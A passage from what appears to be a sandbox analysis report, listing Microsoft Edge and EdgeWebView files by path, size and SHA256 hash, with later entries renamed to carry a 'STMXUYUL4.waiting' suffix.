                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedge_200_percent.pak.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Size 2.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 e45980582a2916f88764d520849f2db817aa3fd44aff1f724fe5e5dcd35f85c6
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                msedgewebview2.exe.sig.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\msedgewebview2.exe.sig.DATA
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 0bdc58f83bfd9b858983b4f04f0a90a2c3f4cdf730b871ad0177716c6a39c15c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Advertising
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Advertising
                                                                                                                                                                                                                                                                                                                                                                                • Size 29KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7bc18b7de7ba6c058296d71d65d2f7a74bb663c9df0ab4206f73ee2e2dac7c9d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Analytics
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Analytics
                                                                                                                                                                                                                                                                                                                                                                                • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7eba9b7ecc92aa7b0b42515777e4a29b25ad91905f9660d9bc1d69bfed7bcdfe
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                CompatExceptions
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\CompatExceptions
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 55a558662ef7b8a0d83a1f7a77b33d88de5b098dfbcde88899a55b869a1864b4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Content
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Content
                                                                                                                                                                                                                                                                                                                                                                                • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 9bbc50f19e9a377942e0077bb8768c0c2641867cff01aa8f7f8eb4a54321d90c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Cryptomining
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Cryptomining
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 e404e061f250277201e0a5e7e8a69557bfa0ef8720981452d0b64ffa28beb757
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Entities
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Entities
                                                                                                                                                                                                                                                                                                                                                                                • Size 73KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 00922e88284f8e1670c706b9ab7894ff5a62b3504e3256a981c191d42b89daaa
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Fingerprinting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Fingerprinting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5eed328129e3809859480cdb97baf5a4c892b56428e9c2bfdfdff7581f2fb053
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LICENSE
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\LICENSE
                                                                                                                                                                                                                                                                                                                                                                                • Size 38KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 51b71ec86180165e7acd03acb596064b2a8e5e90b8acabbd6064e00332221e18
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Other
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Other
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a77df92d5d32b0e1c3c758e6eb3ca93f66eb1a5c329ec68bdeb15bdd7d0b6d83
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Social
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Social
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f06b9e508c958d60fd58921f3386968bb99d8fa46c036ac2a1329cb20d2f31f4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                TransparentAdvertisers
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\TransparentAdvertisers
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 8bf4c2a5395a71f66ebeb81ef2f5002c17bd32b12aae1566d407c0d634e69cae
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Advertising
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Advertising
                                                                                                                                                                                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f644f21def6925a4e1457b250a062836538409a2b2e3280b9a697c6da72c5ae4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Analytics
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Analytics
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1c8ff0472ccd3ce8a4e44922b3238efe60e65cc603d0cbcd71f83154e2335b72
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Content
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Content
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1a963e6214f727e3787b975a256847abdc83ba4df6694a2e64eaabdfb8d0d476
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Cryptomining
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Cryptomining
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6f33fe975fd5b21ce303e56f58e5e86fe4f7816a530296f6e5856196402eb159
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Entities
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Entities
                                                                                                                                                                                                                                                                                                                                                                                • Size 46KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2d3845653449c86644029957bd8db07c662ce5c1df38c0a70d46a9e07fbfed18
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Fingerprinting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Fingerprinting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b451e347b9d657f35c7dfb1facf62289832c24530cd42bccb6659a8b9949ed9a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LICENSE
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\LICENSE
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7b05e86adc2f2a5a95d126865e0275faebc8ea44d9d21bf4d3682acf093d9a9a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Other
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Other
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 543cccba3cc88d63cafb092a7a8441c347ba4f3235c86e6633bcff8e0993653f
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Social
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Social
                                                                                                                                                                                                                                                                                                                                                                                • Size 7KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7f413e1fb5ca7516ec8b00780cca87b8e96d2a348213c85cf72278112c71bf98
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Staging
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Staging
                                                                                                                                                                                                                                                                                                                                                                                • Size 20KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 87852305cbebde894f9e446d8a8a96f7b4a1eef286f8cb5fecea518b9940519a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5a3386902466cca325a4bf5b5d2a251b3d908336d8de41af478e96bb20f6333c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Logo.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\Logo.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 36KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2a3c476e12369788324a21d2f2b8ced8e664175a02e132057c57f31aab9c19b4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoBeta.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoBeta.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 33KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 7c97042dac0b83d0d828a5cc3d5b7199745beaccc47c4132b345f2458103f6fb
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoCanary.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoCanary.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 34KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6c5f41c86b1fd6431f96dddc58dfb753a219c2f77225205d726529b136870115
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LogoDev.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoDev.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 33KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 de1955948a261f1227bf6591e40411c5a3e92b5f36fb11498a65d799e3df0025
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogo.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogo.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b3a7960e0fcd175a1ec235fa8c5a221968bba0ac2bc7bbb55c61028a4d4f9a96
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoBeta.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoBeta.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3e5c10ddb82daea93396eaa14b8b7cc7cc88f6fb6d08b455e3f834b4d6b8754f
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoCanary.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoCanary.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 19KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 2ef80096709ad22996966036c11438eadbe2c7708c52e257076c1affc75f6b7a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                SmallLogoDev.png
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoDev.png
                                                                                                                                                                                                                                                                                                                                                                                • Size 18KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 0680bb16cfe52449cdaede2214887cb996e552ad77acce19d7bc82be55f533e3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                widevinecdm.dll.sig
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c9b5ca48a596b8a084f6671eb1eb3660f7e7f3681e74c7b587013fdf1b6e2a86
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\WidevineCdm\manifest.json
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f0a459b5a0f5b3265834ea0000cf2055ac345192132501a5f3aaf7e0339aedbb
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                resources.pak
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\resources.pak
                                                                                                                                                                                                                                                                                                                                                                                • Size 26.1MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 21326a8837d0dd5a129bcc1f2a0e1dc92d055e4994bb8e938b84664e43d39520
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                v8_context_snapshot.bin
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\v8_context_snapshot.bin
                                                                                                                                                                                                                                                                                                                                                                                • Size 695KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ca8b50ebfe94e24b7ff1b690948d68cac22f11faddb2d9f6176de38da5ee25cd
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                vk_swiftshader_icd.json
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\vk_swiftshader_icd.json
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1ec0ebdc2a1c7de2545fa004944bc2f9d5c7a04bb17bb508cf062740ab51bb6e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Advertising STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Advertising STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 29KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 4e57aa640c30c892d97e49bb8fe3896e16ede4e820abe8bf27c11fb620427fa2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Analytics STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Analytics STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 9KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 5d21efb72ab90de1dce2a0493f969312773d7bbf14046b62423111f2b6958b1f
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                CompatExceptions STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\CompatExceptions STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 baf19f30378d9ca831a10c10132e54c5f50f8d9ea8daecd520edd468267dafed
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Content STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Content STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 4c918a1987a787517ff5089674334c55bed8ad1db5726b62da6cc8015787103d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Cryptomining STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Cryptomining STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 28da1a3419e95b53d5908f73c63fbbe13a3755fa9abde1416f1bf8595897b2be
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Entities STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Entities STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 73KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 9b2995749bb19ca8565c2f457a8d1a5326f74b667d0e04c06f9084595d515c3a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Fingerprinting STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Fingerprinting STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 bd0bc49b8d2f8edfee84a1034b44032ce8a6f493dadcd8ca4df87ad2277d06e9
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                LICENSE STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\LICENSE STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 38KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 78cd0ad0d32e74c81d969bf051cf61e87c3fc3ec45d5311ae297e6dde56460eb
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Other STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Other STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 808d81a57123563467b20ba36b59c4dc0f102f12c245b7f3d37ba080010dda27
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Social STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Social STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 af5abe74264652a9815a554af59cbaf984504f00825007d11717a5c45fc5774d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                TransparentAdvertisers STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\TransparentAdvertisers STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3f2a28427488050f1aa3dfc0e455c5775a8e74873566bd6ea9d15ec79533896e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Advertising STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Advertising STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 6KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 fc774cadaa61e4b92f07649a556b535a716221c0e68e278c996cf1493ba35e8b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Analytics STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Sigma\Analytics STMXUYUL4.waiting
                                                                                                                                                                                                                                                                                                                                                                                • Size 4KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 50cdab2a8df7ab660e3d901eb65555aee15d1b36f7d86e58c69872404164bc6d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Content STMXUYUL4.waiting
